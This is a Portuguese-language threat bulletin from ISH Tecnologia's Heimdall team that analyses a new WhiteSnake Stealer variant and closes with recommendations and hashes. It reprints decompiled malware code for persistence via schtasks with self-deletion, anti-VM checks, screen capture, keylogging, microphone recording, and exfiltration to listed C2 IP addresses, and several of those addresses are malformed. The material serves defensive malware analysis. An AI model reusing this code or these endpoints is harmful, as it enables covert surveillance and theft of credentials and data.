



BOLETIM DE SEGURANÇA

Nova variante do Stealer Whitesnake
apresentando riscos significativos



Receba alertas e informações sobre segurança cibernética e ameaças rapidamente, por meio do nosso **X**.

[Heimdall Security Research](#)



Acesse boletins diários sobre agentes de ameaças, *malwares*, indicadores de comprometimentos, TTPs e outras informações no *site* da ISH.

[Boletins de Segurança – Heimdall](#)



ISH —

CONTAS DO FACEBOOK SÃO INVADIDAS POR EXTENSÕES MALICIOSAS DE NAVEGADORES

Descoberto recentemente que atores maliciosos utilizam extensões de navegadores para realizar o roubo de cookies de sessões de sites como o Facebook. A extensão maliciosa é oferecida como um anexo do ChatGPT...

BAIXAR



ISH —

ALERTA PARA RETORNO DO MALWARE EMOTET!

O malware Emotet após permanecer alguns meses sem operações retornou cou outro meio de propagação, via OneNote e também dos métodos já conhecidos via Planilhas e Documentos do Microsoft Office...

BAIXAR



ISH —

GRUPO DE RANSOMWARE CLOP EXPLORANDO VULNERABILIDADE PARA NOVAS VÍTIMAS

O grupo de Ransomware conhecido como CLOP está explorando ativamente a vulnerabilidade conhecida como CVE-2023-0669, na qual realizou o ataque a diversas organizações e expôs os dados no site de data leaks...

BAIXAR

SUMÁRIO

1	Sumário Executivo	6
2	Análise da ameaça	7
3	Recomendações.....	12
4	Indicadores de Compromissos	13
5	Referências	14

LISTA DE TABELAS

Tabela 1 – Indicadores de Compromissos de artefatos..... 13

LISTA DE FIGURAS

<i>Figura 1 – Executando mutex.</i>	7
<i>Figura 2 – Executando AntiVM.</i>	7
<i>Figura 3 – Código do stealer para persistência e exclusão.</i>	8
<i>Figura 4 – Captura de tela da máquina da vítima capturada.</i>	9
<i>Figura 5 – Parte do código responsável pelo keylogging.</i>	9
<i>Figura 6 – Código responsável pela gravação do microfone.</i>	10
<i>Figura 7 – Realização tentativa de exfiltrar informações</i>	11
<i>Figura 8 - Realização tentativa de exfiltrar log do WSR.</i>	11

1 SUMÁRIO EXECUTIVO

A equipe de pesquisa de ameaças do [SonicWall](#), identificou uma nova variante do malware **WhiteSnake Stealer**. Este malware é uma ameaça considerável para indivíduos e empresas, pois tem a capacidade de extrair informações sensíveis de sistemas vulneráveis. Isso inclui dados importantes como informações de navegadores da web e carteiras de criptomoedas. A versão mais recente deste malware simplificou seu código, removendo o código decriptografia de string, tornando-o mais compreensível.

2 ANÁLISE DA AMEAÇA

Após a inicialização do arquivo, o malware realiza uma verificação para identificar a presença de um mutex. Isso é feito para prevenir a execução simultânea de duas instâncias do mesmo malware. O valor do mutex é determinado na configuração do malware. Caso seja identificado, o processo do malware é encerrado.

```
53
54 // Token: 0x06000024 RID: 36 RVA: 0x00004190 File Offset: 0x00002390
55 public static void PerformMutexCheck()
56 {
57     bool flag;
58     new Mutex(true, Settings.Mutex, ref flag);
59     bool flag2 = !flag;
60     if (flag2)
61     {
62         Environment.Exit(5);
63     }
64 }
```

Figura 1 – Executando mutex.

Neste malware, a funcionalidade AntiVM está inativa por padrão (o indicador é definido como 0). Caso o indicador seja ajustado para 1, o malware realiza uma verificação para detectar a existência de sandboxes. Ele faz isso utilizando a consulta Windows Management Instrumentation (WMI) “SELECT * FROM Win32_ComputerSystem”. Através desta consulta, o malware adquire as propriedades “Modelo” e “Fabricante” e procura por qualquer propriedade que contenha as strings especificadas como, **virtual, vmbox, vmware, thinapp, VMXh, innotek gmbh, tpcgateway, tpautoconsv, vbox, kvm, red hat, qemu**. Se alguma string estiver presente, o stealer sairá.

```
Evader.PerformMutexCheck();
bool flag2 = Settings.AntiVM == "1" && Evader.PerformAntiVM();
if (flag2)
{
    Environment.Exit(5);
}

// Token: 0x06000028 RID: 40 RVA: 0x00004474 File Offset: 0x00002674
public static bool PerformAntiVM()
{
    string[] array = new string[]
    {
        "virtual",
        "vmbox",
        "vmware",
        "thinapp",
        "VMXh",
        "innotek gmbh",
        "tpcgateway",
        "tpautoconsv",
        "vbox",
        "kvm",
        "red hat",
        "qemu"
    };
    string text = Identification.Model().ToLower();
    string text2 = Identification.Manufacturer().ToLower();
    foreach (string value in array)
    {
        bool flag = text.Contains(value) || text2.Contains(value);
        if (flag)
        {
            return true;
        }
    }
    return false;
}
```

Figura 2 – Executando AntiVM.

Após a verificação Anti-VM, o malware aciona a função Create(), que por sua vez executa a função **ProcessCommands()**. Esta última é projetada para coletar informações sensíveis de várias fontes, incluindo navegadores da web, aplicativos de mensagens, clientes FTP, carteiras de criptomoedas e outros. A função ProcessCommands() é encarregada de extrair informações de vários navegadores da web, como “Cookies”, “Preenchimentos automáticos”, “Dados de login”, “Histórico”, “Rede\Cookies” e “Dados da Web”. Além de extrair dados dos navegadores da web, o WhiteSnake Stealer também tem a capacidade de capturar carteiras de criptomoedas e extensões de navegador de carteiras criptografadas. A tabela a seguir mostra as carteiras de criptomoedas e extensões de navegador que são alvo do malware.

Na versão atual do WhiteSnake stealer, o recurso de persistência está desativado por padrão. Quando ativado, o stealer garante sua persistência ao se copiar para o diretório %Appdata%, remover o arquivo original e criar uma tarefa agendada para ser executada a cada minuto. O comando a seguir ilustra esse processo:

- /C chcp 65001 && timeout /t 3 >NUL && schtasks/create/tn “WhiteSnake_Stealer”/scMINUTE/tr “C:\Users\Administrator\AppData\Local\RobloxSecurity\WhiteSnake_Stealer.exe”/rLIMITED/f&&DEL/F/S/Q/A “C:\Users\Administrator\Desktop\WhiteSnake_Stealer.exe” &&START “C:\Users\Administrator\AppData\Local\RobloxSecurity\WhiteSnake_Stealer.exe”

O nome da pasta “RobloxSecurity” já está pré-configurado no arquivo de configuração do stealer.

```
115         if (flag4)
116         {
117             string text2 = flag2 ? "HIGHEST" : "LIMITED";
118             string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(currentExecutable);
119             File.Copy(currentExecutable, text, true);
120             new FileInfo(text).IsReadOnly = true;
121             StringBuilder stringBuilder = new StringBuilder();
122             stringBuilder.Append("/C chcp 65001 && ");
123             stringBuilder.Append("timeout /t 3 > NUL && ");
124             stringBuilder.Append(string.Concat(new string[]
125             {
126                 "schtasks /create /tn \"",
127                 fileNameWithoutExtension,
128                 "\" /sc MINUTE /tr \"",
129                 text,
130                 "\" /rL ",
131                 text2,
132                 "\" /f && "
133             }));
134             stringBuilder.Append("DEL /F /S /Q /A \"\" + currentExecutable + "\" &&");
135             stringBuilder.Append("START \"\" \"\" + text + "\"");
136             using (Process process = new Process())
137             {
138                 process.StartInfo = new ProcessStartInfo
139                 {
140                     FileName = "cmd.exe",
141                     Arguments = stringBuilder.ToString(),
142                     WindowStyle = ProcessWindowStyle.Hidden,
143                     CreateNoWindow = true,
144                     UseShellExecute = true
145                 };
146                 process.Start();
147             }
148             Environment.Exit(0);
149         }
150     }
151 }
```

Figura 3 – Código do stealer para persistência e exclusão.

O malware possui a habilidade de obter imagens do computador do usuário afetado. Uma seção do código que permite essa funcionalidade é apresentada na imagem abaixo.

```

public static byte[] VybugX4dfoctv()
{
    try
    {
        Rectangle totalBoundsOfAllScreens = Identification.GetTotalBoundsOfAllScreens();
        using (Bitmap bitmap = new Bitmap(totalBoundsOfAllScreens.Width, totalBoundsOfAllScreens.Height))
        {
            using (Graphics graphics = Graphics.FromImage(bitmap))
            {
                Identification.CaptureScreens(graphics, totalBoundsOfAllScreens);
                return Identification.ConvertBitmapToArray(bitmap);
            }
        }
    }
    catch (Exception ex)
    {
        Console.WriteLine(ex.Message);
    }
    return new byte[0];
}

// Token: 0x000000FD RID: 253 RVA: 0x00006440 File Offset: 0x00006040
private static void CaptureScreens(Graphics g, Rectangle totalBounds)
{
    foreach (Screen screen in Screen.AllScreens)
    {
        Point upperLeftDestination = Point.Subtract(screen.Bounds.Location, (Size)totalBounds.Location);
        g.CopyFromScreen(screen.Bounds.Location, upperLeftDestination, screen.Bounds.Size);
    }
}

// Token: 0x000000FE RID: 254 RVA: 0x00006000 File Offset: 0x00006000
private static byte[] ConvertBitmapToArray(Bitmap bitmap)
{
    byte[] result;
    using (MemoryStream memoryStream = new MemoryStream())
    {
        bitmap.Save(memoryStream, ImageFormat.Jpeg);
        result = memoryStream.ToArray();
    }
}

```

Figura 4 – Captura de tela da máquina da vítima capturada.

Nesta edição do invasor WhiteSnake, o recurso de registro de teclas (Keylogging) vem desativado como configuração inicial. Caso seja ativado ou o atacante envie o comando “KEYLOGGER”, ele registra as teclas pressionadas no computador da vítima. Para cumprir essa função, o invasor necessita de APIs do Windows, que são carregadas durante a execução. As APIs **UnhookWindowsHookEx**, **CallNextHookEx**, **GetKeyState**, **GetKeyboardState**, **GetKeyboardLayout**, **ToUnicodeEx**, **MapVirtualKeyA** são utilizadas.

```

public static bool Start()
{
    bool flag = StaticAPI.LoadKeyloggerApi();
    bool result;
    using (flag)
    {
        Keylogger.KeyloggerEnabled = true;
        Keylogger.KeyloggerThread = new Thread(delegate()
        {
            Keylogger_hookID = Keylogger.SetHook(Keylogger._proc);
            Application.Run();
        });
        Keylogger.KeyloggerThread.SetApartmentState(ApartmentState.STA);
        Keylogger.KeyloggerThread.Start();
        bool flag2 = Settings.Autokeylogger == "1";
        if (flag2)
        {
            Keylogger.JournalDumper.Elapsed += Keylogger.SaveJournals;
            Keylogger.JournalDumper.Interval = 20000.0;
            Keylogger.JournalDumper.Enabled = true;
            Keylogger.JournalDumper.Start();
        }
        result = true;
    }
    else
    {
        result = false;
    }
    return result;
}

// Token: 0x0000000B RID: 107 RVA: 0x00000C00 File Offset: 0x00000000
public static bool StartKeylogger()
{
    try
    {
        StaticAPI.User32 = new WinAPI("User32.dll");
        StaticAPI.User32.SetHookWindowsHookEx = (StaticAPI._CTOLES5P8B81)StaticAPI.User32.GetMethod("SetWindowsHookExA", typeof(StaticAPI._CTOLES5P8B81));
        StaticAPI.User32.UnhookWindowsHookEx = (StaticAPI._31766D9318683)StaticAPI.User32.GetMethod("UnhookWindowsHookEx", typeof(StaticAPI._31766D9318683));
        StaticAPI.User32.CallNextHookEx = (StaticAPI._D8A885918E7235)StaticAPI.User32.GetMethod("CallNextHookEx", typeof(StaticAPI._D8A885918E7235));
        StaticAPI.User32.GetKeyState = (StaticAPI._8B5356404040)StaticAPI.User32.GetMethod("GetKeyState", typeof(StaticAPI._8B5356404040));
        StaticAPI.User32.GetKeyboardState = (StaticAPI._00001300F223)StaticAPI.User32.GetMethod("GetKeyboardState", typeof(StaticAPI._00001300F223));
        StaticAPI.User32.GetKeyboardLayout = (StaticAPI._50119F064A7)StaticAPI.User32.GetMethod("GetKeyboardLayout", typeof(StaticAPI._50119F064A7));
        StaticAPI.User32.ToUnicodeEx = (StaticAPI._50001300F223)StaticAPI.User32.GetMethod("ToUnicodeEx", typeof(StaticAPI._50001300F223));
        StaticAPI.User32.MapVirtualKey = (StaticAPI._00001300F223)StaticAPI.User32.GetMethod("MapVirtualKeyA", typeof(StaticAPI._00001300F223));
    }
    catch (Exception ex)
    {
        Console.WriteLine(ex.Message);
    }
    return true;
}

```

Figura 5 – Parte do código responsável pelo keylogging.

Quando o comando “**MICROPHONE**” é enviado por um invasor, o WhiteSnake ladrão inicia uma ação. Primeiramente, ele realiza a consulta WMI “*SELECT * FROM Win32_SoundDevice*” para confirmar se há um microfone conectado ao dispositivo da vítima. Se o número de microfones for maior que ‘0’, o WhiteSnake inicia a gravação do áudio do microfone pelo tempo determinado.

```
bool flag9 = command[0] == "MICROPHONE";
if (flag9)
{
    bool flag10 = Microphone.MicrophonesCount() > 0;
    if (flag10)
    {
        text = "Started microphone recorder";
        new Thread(delegate()
        {
            byte[] inArray5 = Microphone.Record(int.Parse(command[1]));
            RemoteAccess.AppendArbitraryResponse("Microphone|" + Convert.ToBase64String(inArray5));
        }).Start();
    }
    else
    {
        text = "No microphone detected";
    }
}

public static byte[] Record(int seconds)
{
    byte[] result = new byte[0];
    try
    {
        string text = Path.Combine(Path.GetTempPath(), Utils.RandString(7) + ".wav");
        Microphone.mciSendString("open new Type waveaudio Alias recsound", "", 0, 0);
        Microphone.mciSendString("record recsound", "", 0, 0);
        Thread.Sleep(seconds * 1000);
        Microphone.mciSendString("save recsound " + text, "", 0, 0);
        Microphone.mciSendString("close recsound ", "", 0, 0);
        Thread.Sleep(500);
        result = Utils.ReadFileBytes(text);
        try
        {
            File.Delete(text);
        }
        catch
        {
        }
    }
    catch (Exception ex)
    {
        Console.WriteLine(ex.Message);
    }
    return result;
}
```

Figura 6 – Código responsável pela gravação do microfone.

O WhiteSnake é notável por seu terminal remoto, que permite a um invasor iniciar uma sessão remota com o dispositivo infectado e executar uma série de comandos específicos, interrompendo todas as operações e remove-se do sistema, realizando uma operação similar ao ‘ping’ e responde com um ‘pong’, atualiza as credenciais de login, captura uma imagem da tela do dispositivo da vítima, decifra dados sensíveis criptografados armazenados no sistema da vítima, tirar foto utilizando a webcam, grava o áudio do microfone da vítima, compacta o diretório em um arquivo ZIP, extrai o conteúdo de um arquivo ZIP no diretório atual, realiza transferência de um arquivo para um endereço IP especificado na configuração, recupera o conteúdo de um arquivo específico, exibe os arquivos presentes no diretório atual, obtém uma lista dos processos em execução, realiza download e expõe a porta selecionada, registra as teclas pressionadas, recupera um arquivo de um local remoto e o executa.

O stealer busca transmitir os dados pilhados da vítima para o Centro de Comando e Controle (C&C) do atacante, já incorporado no binário do próprio WhiteSnake. Inicialmente, ele acopla ao C&C os dados roubados codificados em Base64 - que incluem o nome de usuário, país, entre outros - e, assim, forma uma URL completa.

hxxp://45.61.137.41:8080/sendData?pk=MDE0RTc3QkZFM0Q4QjI3NkI5NjNFNjgyNUREQTZBNjk=&ta=RGVmYXVsdA==&un=WW9nZXNo&pc=V0lOLUUs5NzNHTk9RSzBB&co=SW5kaWE=&wa=MA==&ser=MA==}

```

public static bool SendReport(byte[] fileData)
{
    bool flag = !Report.SendC2(fileData);
    bool result;
    if (flag)
    {
        string filename = string.Format("{0}_{1}@{2}_report.wsr", Utils.RandomString(5), Identification.Username(), Identification.Comname());
        string text = Transfer.Upload(filename, fileData);
        bool flag2 = !string.IsNullOrEmpty(text);
        result = (flag2 && Report.TelegramMessage(text, Utils.GetSizeMegabytes((double)fileData.Length)));
    }
    else
    {
        result = true;
    }
    return result;
}

private static bool SendC2(byte[] fileData)
{
    bool flag = !string.IsNullOrEmpty(Settings.CustomC2Endpoint) && Settings.CustomC2Endpoint.StartsWith("http");
    if (flag)
    {
        StringBuilder stringBuilder = new StringBuilder(Settings.CustomC2Endpoint + "/sendData");
        stringBuilder.AppendFormat("?pk={0}", Convert.ToBase64String(Encoding.UTF8.GetBytes(Crypto.CalculateMD5Hash(Settings.RSA_Public))));
        stringBuilder.AppendFormat("&ta={0}", Convert.ToBase64String(Encoding.UTF8.GetBytes(Settings.Tag.Replace(" ", "").Replace(".", ""))));
        stringBuilder.AppendFormat("&un={0}", Convert.ToBase64String(Encoding.UTF8.GetBytes(Identification.Username())));
        stringBuilder.AppendFormat("&pc={0}", Convert.ToBase64String(Encoding.UTF8.GetBytes(Identification.Comname())));
        stringBuilder.AppendFormat("&wa={0}", Convert.ToBase64String(Encoding.UTF8.GetBytes(Identification.Country)));
        stringBuilder.AppendFormat("&ser={0}", Convert.ToBase64String(Encoding.UTF8.GetBytes(Report.HashAllets ? "1" : "0")));
        stringBuilder.AppendFormat("&be={0}", Convert.ToBase64String(Encoding.UTF8.GetBytes(Settings.InstallBeacon)));
        try
        {
            using (WebClient webClient = new WebClient())
            {
                Console.WriteLine("POST file C2: " + stringBuilder.ToString());
                byte[] bytes = webClient.UploadData(stringBuilder.ToString(), fileData);
                Console.WriteLine(Encoding.UTF8.GetString(bytes));
                return true;
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.Message);
        }
        return false;
    }
}

```

Figura 7 – Realização tentativa de exfiltrar informações

A URL está inativa, fazendo com que a função SendC2() retorne como falso. Em seguida, um arquivo WSR é gerado pelo invasor. O nome deste arquivo é composto por cinco caracteres aleatórios, seguidos por _username`, @computernome e _report. Este arquivo WSR é onde os dados exfiltrados são armazenados. O invasor, então, tenta mais uma vez carregar o arquivo de log do WSR em um dos servidores mencionados no arquivo de configuração. Caso um servidor esteja indisponível ou a solicitação web falhe, o malware tentará o próximo IP listado.

```

public static string Upload(string filename, byte[] fileData)
{
    string text = "";
    try
    {
        using (WebClient webClient = new WebClient())
        {
            Console.WriteLine("Begin transfer " + fileData.Length.ToString() + " bytes ...");
            string[] transferHosts = Settings.TransferHosts;
            int i = 0;
            while (i < transferHosts.Length)
            {
                string text2 = transferHosts[i];
                Console.WriteLine("Trying node " + text2);
                try
                {
                    byte[] bytes = webClient.UploadData(text2 + "/" + Utils.UrlEncodeExtended(filename), "PUT", fileData);
                    text = Encoding.UTF8.GetString(bytes).Replace(text2, "");
                    bool flag = text.Contains(text2) && text.Contains("<");
                    if (flag)
                    {
                        break;
                    }
                    Console.WriteLine("Node " + text2 + " upload error ...");
                }
                catch (WebException)
                {
                    Console.WriteLine("Node " + text2 + " is down, trying another server ...");
                }
                i++;
            }
            Console.WriteLine("Done.");
        }
    }
}

public static readonly string[] TransferHosts = "http://113.219.188.172:8080/http://45.61.137.106:8080/http://63.172.235.114:8080/http://78.189.189.166:80
http://72.145.128.175:80/http://185.78.185.9.443/http://118.209.100.210:8080/http://141.95.175.71:8080/http://178.202.210.24:8080/http://191.147.58.177:80
http://192.215.178.880/http://185.212.9.312:80/http://195.212.98.171:443/http://178.159.114.82:8080/http://172.212.89.44:180/http://165.272.71.8:443
http://182.168.168.143:8080/http://192.169.196.191:443/http://76.288.178.68:7777/http://285.185.132.66:8080/http://23.224.182.6:8080/http://5.78.94.118:8080
http://44.228.181.58:443/http://159.188.219.171:8080/http://184.168.161.14:8080/http://139.84.211.109:8080/http://124.723.67.722:5555/http://183.196.138.41:8080
http://45.61.136.13:8080/http://216.158.189.139:8080/http://47.86.78.724:8080/http://168.138.111.88:8080/http://116.186.97.732:8080/http://52.189.74.149:443
http://52.188.187.64:443/http://118.2.93.67:443/http://78.96.33.48:8080/http://154.31.165.732:8080.Replace("r", "").Split(new char[]

```

Figura 8 - Realização tentativa de exfiltrar log do WSR.

3 RECOMENDAÇÕES

Além dos indicadores de comprometimento elencados abaixo pela ISH, poderão ser adotadas medidas visando a mitigação da infecção do referido *malware*, como por exemplo:

Antivírus

- O melhor curso de ação é usar um software antivírus de boa reputação para remover o malware. Evite formatar o dispositivo de armazenamento, a menos que tenha feito uma cópia de segurança dos seus dados e não tenha outra opção.

Software Atualizado

- Certifique-se de que o seu sistema operativo, navegadores e outros programas estejam sempre atualizados. Isso ajuda a corrigir vulnerabilidades conhecidas que os malwares podem explorar.

Anexos de Email

- Evite abrir anexos de e-mail suspeitos ou de remetentes desconhecidos. Muitos malwares, incluindo o WhiteSnake, são distribuídos através de anexos maliciosos.

Links Suspeitos

- Não clique em links em e-mails, mensagens ou sites que pareçam suspeitos. Os malwares frequentemente se espalham através de links maliciosos.

Backup

- Faça cópias de segurança regulares dos seus dados importantes. Isso ajuda a proteger contra perda de dados em caso de infecção.

4 INDICADORES DE COMPROMISSOS

A ISH Tecnologia realiza o tratamento de diversos indicadores de compromissos coletados por meio de fontes abertas, fechadas e também de análises realizadas pela equipe de segurança Heimdall. Diante disto, abaixo listamos todos os Indicadores de Compromissos (IOCs) relacionadas a análise do(s) artefato(s) deste relatório.

Indicadores de compromisso do artefato	
md5:	835241c48301a5dc36f99cf457841941
sha1:	a7e4ca83dd2f310a5d8eed4f2bf77ed16922c36f
sha256:	94048358360fd46766cdf1d4f487c1c61a391f97ebc10704c388170ae4e66b88
File name:	id5530defb1059020302de8d9.exe

Tabela 1 – Indicadores de Compromissos de artefatos

Obs: Os *links* e endereços IP elencados acima podem estar ativos; cuidado ao realizar a manipulação dos referidos IoCs, evite realizar o clique e se tornar vítima do conteúdo malicioso hospedado no IoC.

5 REFERÊNCIAS

- Heimdall by ISH Tecnologia
- [Sonicwall](#)



heimdall
security research

A DIVISION OF ISH